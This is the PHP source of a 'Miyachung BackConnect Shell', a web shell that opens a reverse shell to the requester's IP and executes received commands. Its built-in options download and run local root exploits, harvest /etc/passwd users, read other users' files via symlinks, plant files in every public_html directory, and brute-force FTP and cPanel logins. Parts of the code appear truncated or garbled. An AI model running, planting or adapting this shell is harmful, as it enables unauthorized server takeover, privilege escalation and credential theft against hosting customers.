|__|_| /__|/ ____|(____ /\___ >___| /____/|___| /\___ / \/ \/ \/ \/ \/ \//_____/ =================================================================== . Miyachung BackConnect Shell . Written by Miyachung . Janissaries.Org . Contact: miyachung@hotmail . Video : https://www.youtube.com/watch?v=sWUR9gt4ia0 Commands works with shell_exec() function @ Options - exploit = Automatic Search & Download & Run a local root exploit which matches with kernel release - grabusr = Grab users from /etc/passwd and save into a file ( users ) - domains = List domains from /var/named - getf = Find and grab the name given file from all public_html dirs ( only works with /home/USER/public_html servers ) - catln = Cat file with ln -s method - index = Try copy the name given file to all public_html dirs ( only works with /home/USER/public_html servers ) - home = Change dir into home folder - ftp = Performs ftp brute-force attack to all users from /etc/passwd ( only works with /home/USER/public_html servers ) - cpanel = Performs cpanel brute-force attack to all users from /etc/passwd ( only works with /home/USER/public_html servers ) */ ob_start(); $server_ip = $_SERVER['SERVER_ADDR']; $your_ip = getenv('REMOTE_ADDR'); $your_port = 443; $timeout = 5; if(!empty($server_ip) && !empty($your_ip) && !empty($your_port) && !empty($timeout)) { $create = new BC($your_ip,$your_port,$server_ip,$timeout); } /* @ Connection Class */ class BC { private $your_ip; private $your_port; private $server_ip; private $timeout; private $homefolder; public function __construct($yip,$yp,$sip,$t) { $this->your_ip = $yip; $this->your_port = $yp; $this->server_ip = $sip; $this->timeout = $t; print("
";
while(1)
{
$enter = fgets($socket);
if(preg_match('#exit#',$enter)){fwrite($socket,"Process closed\n");exit("Process closed");}
if(preg_match('#exploit#',$enter)){$this->search($version1,$socket);$this->search($version2,$socket);}
if(preg_match('#grabusr#',$enter)){$this->grab_users($socket);}
if(preg_match('#catln (.+)#',$enter,$file)){$this->catln($file[1],$socket);}
if(preg_match('#index (.+)#',$enter,$file)){$this->index($file[1],$socket);}
if(preg_match('#getf (.+)#',$enter,$file)){$this->getf($file[1],$socket);}
if(preg_match('#ftp (.+)#',$enter,$file)){$this->ftp($file[1],$socket);}
if(preg_match('#cpanel (.+)#',$enter,$file)){$this->cpanel($file[1],$socket);}
if(preg_match('#domains#',$enter)){$this->domains($socket);}
if(eregi('home',$enter)){chdir($this->homefolder);}
if(strpos($enter,'cd ..')){
$curr = getcwd();
$explode = explode("/",$curr);
$c = count($explode);
unset($explode[$c-1]);
$explode = array_values(array_filter($explode));
$path = implode("/",$explode);
$path = "/".$path;
if(!chdir($path)){fwrite($socket,"Can't chdir into $path : Permission denied\n");}
}
elseif(preg_match('#cd (.+)#',$enter,$dir)){
$curr = getcwd();
if(preg_match("#\/#si",$dir[1]))
{
if(!chdir($dir[1])){fwrite($socket,"Can't chdir into $dir[1] : Permission denied\n");}
}
else
{
if(!chdir($curr."/".$dir[1])){fwrite($socket,"Can't chdir into $curr/$dir[1] : Permission denied\n");}
}
}
$result= @shell_exec(trim($enter));
fwrite($socket,$result);
print "Command ".trim($enter).";\n";
print $result;
ob_flush(); flush();
}
print "";
fclose($socket);
}
private function search($version,$socket)
{
fwrite($socket,"Release: $version\n");
print("Release: $version\n(.*?)<\/pre>#si",$data,$content);
if(file_put_contents($filename,$content))
{
return $filename;
}
else
{
return false;
}
}
private function grab_users($socket)
{
$read = file("/etc/passwd");
$x0x = "";
foreach($read as $text)
{
$text = trim($text);
$user = explode(":",$text);
$user = $user[0];
$xox .= $user."\r\n";
fwrite($socket,$user."\n");
print($user."\n");
}
fwrite($socket,"Grabbed ".count($read)." users from /etc/passwd\n");
print("Grabbed ".count($read)." users from /etc/passwd\n");
$save = $this->save_as("users",$xox,"wb");
if($save){fwrite($socket,"Saved into file as 'users'\n");print("Saved into file as 'users'\n");}else{fwrite($socket,"Doesn't save into file\n");print("Doesn't save into file\n");}
}
private function catln($file,$socket)
{
$savefile = uniqid();
@shell_exec("ln -s $file ".$savefile);
if(file_exists($savefile))
{
fwrite($socket,file_get_contents($savefile));
print(file_get_contents($savefile));
fwrite($socket,"File name $savefile\n");
print("File name $savefile\n");
}
else
{
fwrite($socket,"File doesn't read\n");
print("File doesn't read\n");
}
}
private function index($file,$socket)
{
$etc = file('/etc/passwd');
$count= 0;
foreach($etc as $txt)
{
$txt = trim($txt);
$user= explode(":",$txt);
$user= $user[0];
$path= "/home/$user/public_html/$file";
@shell_exec("cp $file $path");
if(file_exists($path))
{
fwrite($socket,"File created: ".$path."\n");
print("File created: ".$path."\n");
$count++;
}
}
fwrite($socket,"Completed\n");
print("Completed\n");
fwrite($socket,"File copied into $count dirs\n");
print("File copied into $count dirs\n");
}
private function getf($file,$socket)
{
$etc = file('/etc/passwd');
$count = 0;
foreach($etc as $txt)
{
$txt = trim($txt);
$user= explode(":",$txt);
$user= $user[0];
$path= "/home/$user/public_html/$file";
if(file_exists($path))
{
fwrite($socket,"File found: ".$path."\n");
print("File found: ".$path."\n");
$content = file_get_contents($path);
if($content)
{
$save = $this->save_as($user."-".$file,$content);
if($save){
fwrite($socket,"File is readable,saved into file named $user-$file\n");
print("File is readable,saved into file named $user-$file\n");
$count++;
}
else
{
fwrite($socket,"File is readable but current dir is not writable\n");
print("File is readable but current dir is not writable\n");
}
}
else
{
@shell_exec("ln -s $path $user-$file");
if(file_exists($user[0]."-".$file)){
fwrite($socket,"File is read with ln -s method,saved into file named $user-$file\n");
print("File is read with ln -s method,saved into file named $user-$file\n");
$count++;
}
else
{
fwrite($socket,"File is not readable\n");
print("File is not readable\n");
}
}
}
}
fwrite($socket,"Grabbed $count files\n");
print("Grabbed $count files\n");
}
private function domains($socket)
{
$x0x = "";
$c = 0;
$path = "/var/named";
$dir_handle = @opendir($path);
if($dir_handle)
{
while ($file = readdir($dir_handle))
{
if (!is_dir($path."/".$file) AND ($file != "..") AND ($file != ".")) {
$dosya = str_replace(".db","",$file);
fwrite($socket,$dosya."\n");
print($dosya."\n");
$x0x .= $dosya."\r\n";
$c++;
}
}
$save = $this->save_as("d0mains",$x0x,"wb");
if($save == false){fwrite($socket,"Got domains but can't save into a file this dir is not writable\n");print("Got domains but can't save into a file this dir is not writable\n");}
else
{
fwrite($socket,"Grabbed $c domains\n");
print("Grabbed $c domains\n");
fwrite($socket,"Saved into 'd0mains'\n");
print("Saved into 'd0mains'\n");
}
closedir($dir_handle);
}
else
{
fwrite($socket,"Doesn't read /var/named\n");
print("Doesn't read /var/named\n");
}
}
private function ftp($wordlist,$socket)
{
fwrite($socket,"Starting ftp crack..\n");
ob_flush();flush();
$open = file($wordlist);
$userx= array();
foreach($open as $pwd)
{
$pwd = trim($pwd);
fwrite($socket,"Password ".$pwd." trying on all users\n");
ob_flush();flush();
$users= file('/etc/passwd');
foreach($users as $user)
{
$user = trim($user);
$user = explode(":",$user);
$user = $user[0];
$userx[] = $user;
}
$userx = array_filter($userx);
$userx = array_unique($userx);
$userx = array_chunk($userx,25);
$multi = curl_multi_init();
foreach($userx as $u)
{
for($i=0;$i<=count($u)-1;$i++)
{
$curl[$i] = curl_init();
curl_setopt($curl[$i],CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl[$i],CURLOPT_URL,"ftp://".$this->server_ip);
curl_setopt($curl[$i],CURLOPT_USERPWD,trim($u[$i]).":".$pwd);
curl_setopt($curl[$i],CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl[$i],CURLOPT_TIMEOUT,4);
curl_multi_add_handle($multi,$curl[$i]);
}
do
{
curl_multi_exec($multi,$active);
usleep(1);
}while($active>0);
foreach($curl as $cid => $cend)
{
$data[$cid] = curl_multi_getcontent($cend);
if(preg_match('#drw#si',$data[$cid]))
{
fwrite($socket,"Found username: $u[$cid] , password: $pwd\n");
print("Found username: $u[$cid] , password: $pwd\n");
$save = $this->save_as("ftps.txt","Found username: $u[$cid] , password: $pwd\r\n","ab");
ob_flush();flush();
}
else
{
fwrite($socket,"Not found $u[$cid]:$pwd\n");
print("Not found $u[$cid]:$pwd\n");
ob_flush();flush();
}
curl_multi_remove_handle($multi,$cend);
}
}
}
}
private function cpanel($wordlist,$socket)
{
fwrite($socket,"Starting cpanel crack..\n");
ob_flush();flush();
$open = file($wordlist);
$userx= array();
foreach($open as $pwd)
{
$pwd = trim($pwd);
fwrite($socket,"Password ".$pwd." trying on all users\n");
ob_flush();flush();
$users= file('/etc/passwd');
foreach($users as $user)
{
$user = trim($user);
$user = explode(":",$user);
$user = $user[0];
$userx[] = $user;
}
$userx = array_filter($userx);
$userx = array_unique($userx);
$userx = array_chunk($userx,25);
$multi = curl_multi_init();
foreach($userx as $u)
{
for($i=0;$i<=count($u)-1;$i++)
{
$curl[$i] = curl_init();
curl_setopt($curl[$i],CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl[$i],CURLOPT_URL,"https://$this->server_ip:2083/login/?login_only=1");
curl_setopt($curl[$i],CURLOPT_POSTFIELDS,"user=".trim($u[$i])."&pass=$pwd");
curl_setopt($curl[$i],CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl[$i],CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl[$i],CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl[$i],CURLOPT_TIMEOUT,4);
curl_multi_add_handle($multi,$curl[$i]);
}
do
{
curl_multi_exec($multi,$active);
usleep(1);
}while($active>0);
foreach($curl as $cid => $cend)
{
$data[$cid] = curl_getinfo($cend);
if($data[$cid]['http_code'] != 401)
{
fwrite($socket,"Found username: $u[$cid] , password: $pwd\n");
print("Found username: $u[$cid] , password: $pwd\n");
$save = $this->save_as("cpanels.txt","Found username: $u[$cid] , password: $pwd\r\n","ab");
ob_flush();flush();
}
else
{
fwrite($socket,"Not found $u[$cid]:$pwd\n");
print("Not found $u[$cid]:$pwd\n");
ob_flush();flush();
}
curl_multi_remove_handle($multi,$cend);
}
}
}
}
private function save_as($filename,$content,$type='ab')
{
$fopen = fopen($filename,$type);
if($fopen)
{
fwrite($fopen,$content);
fclose($fopen);
return true;
}
else
{
return false;
}
}
}
?>